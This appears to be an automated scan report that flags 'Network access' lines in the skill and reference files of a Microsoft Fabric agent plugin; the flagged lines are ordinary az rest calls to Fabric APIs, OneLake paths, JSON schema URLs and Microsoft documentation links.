--resource "https://api.fabric.microsoft.com" \ - Network accessline 87
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 103
For the full list of supported item types, see the [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search). - Network accessline 114
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 115
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 116
--resource "https://api.fabric.microsoft.com" \ - Network accessline 117
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 130
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 132
--resource "https://api.fabric.microsoft.com" \ - Network accessline 133
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 169
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 170
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 171
--resource "https://api.fabric.microsoft.com" \ - Network accessline 172
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 180
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 181
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 182
--resource "https://api.fabric.microsoft.com" \ - Network accessline 183
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 193
| Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | - Network accessline 194
|---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | | `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. | - Network accessline 195
| `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | - Network accessline 196
| `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. | | `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the - Network accessline 197
| `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the same filter. | | `TypeNotFound` | Unrecognized item type in filter | Check spelling - Network accessline 198
| `TypeNotFound` | Unrecognized item type in filter | Check spelling (case-sensitive). See [API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for valid types. |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/SKILL.md
- Network accessline 397
SERVER="sql-prod" CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 397
SERVER="sql-prod" CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 398
CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 398
CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 399
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 399
--url "https://api.fabric.microsoft.com/v1/connections" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/connection-binding.md
- Network accessline 5
This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty - Network accessline 7
> **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 8
> - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 9
> - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections) - Network accessline 10
> - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections) - Network accessline 11
> - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 18
- Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 20
- Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 31
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection - Network accessline 87
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections" - Network accessline 97
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 98
--resource "https://api.fabric.microsoft.com" \ - Network accessline 99
--url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 106
If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing. - Network accessline 130
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
--resource "https://api.fabric.microsoft.com" \ - Network accessline 132
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \ - Network accessline 185
- Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t - Network accessline 186
- Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com` - Network accessline 187
- Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-decision-guide.md
- Network accessline 382
- [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events) - Network accessline 383
- [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/) - Network accessline 384
- [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-patterns.md
- Network accessline 804
Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co - Network accessline 806
- **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/direct-lake-guidelines.md
- Network accessline 34
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 35
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 44
expression 'DL_Sales_Named_Expression' = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 45
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) in - Network accessline 46
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/metadata-discovery.md
- Network accessline 182
- **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results. - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf - Network accessline 184
- **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/pbip.md
- Network accessline 38
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 39
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 46
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details. - Network accessline 57
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 58
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 71
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 72
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 86
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details. - Network accessline 95
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 96
"$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 111
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details. - Network accessline 117
- [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview) - Network accessline 118
- [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset) - Network accessline 119
- [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md
- Network accessline 33
**Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation. - Network accessline 140
> **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-rest-api.md
- Network accessline 8
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 9
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 10
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 22
| API | Audience (`--resource`) | Use For | | --------------------- | ------------------------------------------ | ------------------- - Network accessline 23
| --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/d - Network accessline 24
| Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/delete semantic model definitions, list items, LRO polling | - Network accessline 25
| Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties | - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 147
# 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 148
RESPONSE=$(az rest --method post --verbose --resource "https://api.fabric.microsoft.com" - Network accessline 149
--resource "https://api.fabric.microsoft.com" \ - Network accessline 185
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 186
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 187
--resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/tmdl-guidelines.md
- Network accessline 124
expression DL_Lakehouse = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) - Network accessline 125
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) in - Network accessline 126
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring.md
- Network accessline 43
| Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) || | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authenticat - Network accessline 44
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 45
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 218
{"displayName": "DataEng-Dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 219
EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 220
workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 221
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 225
{"displayName": "DevLakehouse", "type": "Lakehouse", "creationPayload": {"enableSchemas": true}} EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 226
EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \ - Network accessline 227
lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 228
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \ - Network accessline 313
{"name": "dev-session", "driverMemory": "56g", "driverCores": 8, "executorMemory": "56g", "executorCores": 8, "conf": {"spark.dynamicAllocation.enabled": "true", "spark.fabric.pool.name": "Starter Pool"}} EOF az rest --method post --resourc - Network accessline 314
EOF az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \ - Network accessline 315
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 316
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/data-engineering-patterns.md
- Network accessline 365
> **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable - Network accessline 365
> **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable - Network accessline 367
**Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) - Network accessline 367
**Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) - Network accessline 368
Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks. - Network accessline 368
Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks. - Network accessline 392
**Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it - Network accessline 392
**Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it - Network accessline 393
Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume - Network accessline 393
Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume - Network accessline 430
See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference) - Network accessline 430
See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/development-workflow.md
- Network accessline 64
| Topic | Fetch URL | Keywords | |---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `execu - Network accessline 65
|---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `execu - Network accessline 66
| %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `executorCores`, `nu - Network accessline 67
| Parameterized %%configure from pipeline | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#parameterized-session-configuration-from-a-pipeline | `parameterName`, `defaultValue`, pipeline notebook activity, - Network accessline 68
| Spark compute (pools, node sizes, autoscale) | https://learn.microsoft.com/en-us/fabric/data-engineering/spark-compute | starter pool, custom Spark pool, node size (Small/Medium/Large/XL/XXL), vCores, autoscale, dynamic allocation, capaci
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/materialized-lake-view-patterns.md
- Network accessline 324
> See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations. - Network accessline 324
> See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations. - Network accessline 343
> See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations. - Network accessline 343
> See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations. - Network accessline 354
> instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 354
> instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 355
> > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — > Fabric derives dependency order from MLV definitions automatically. - Network accessline 355
> > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — > Fabric derives dependency order from MLV definitions automatically. - Network accessline 356
> - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 356
> - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 358
> Open the Materialized lake views tab → Manage to view the graph and > follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 358
> Open the Materialized lake views tab → Manage to view the graph and > follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 359
> follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — > Create one or more schedules to refresh all MLVs or a selected subset. - Network accessline 359
> follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — > Create one or more schedules to refresh all MLVs or a selected subset. - Network accessline 360
> - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 360
> - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 371
- Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe - Network accessline 371
- Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe - Network accessline 373
- **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the - Network accessline 373
- **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the - Network accessline 375
Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change): - Network accessline 375
Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change): - Network accessline 379
For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie - Network accessline 379
For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie - Network accessline 451
| Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 451
| Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 452
|---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co - Network accessline 452
|---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co - Network accessline 453
| MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 453
| MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 454
| Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup | - Network accessline 454
| Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup | - Network accessline 455
| Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics | - Network accessline 455
| Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics | - Network accessline 456
| Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF | - Network accessline 456
| Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF | - Network accessline 457
| Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations | - Network accessline 457
| Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations | - Network accessline 458
| PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations | - Network accessline 458
| PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations | - Network accessline 459
| Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle | - Network accessline 459
| Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle | - Network accessline 460
| Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage | - Network accessline 460
| Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage | - Network accessline 461
| REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD | - Network accessline 461
| REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/mlv-incremental-refresh-patterns.md
- Network accessline 29
These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte - Network accessline 29
These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte - Network accessline 30
[official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh): - Network accessline 30
[official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh): - Network accessline 36
| `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for - Network accessline 36
| `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for - Network accessline 37
| `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri - Network accessline 37
| `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri - Network accessline 38
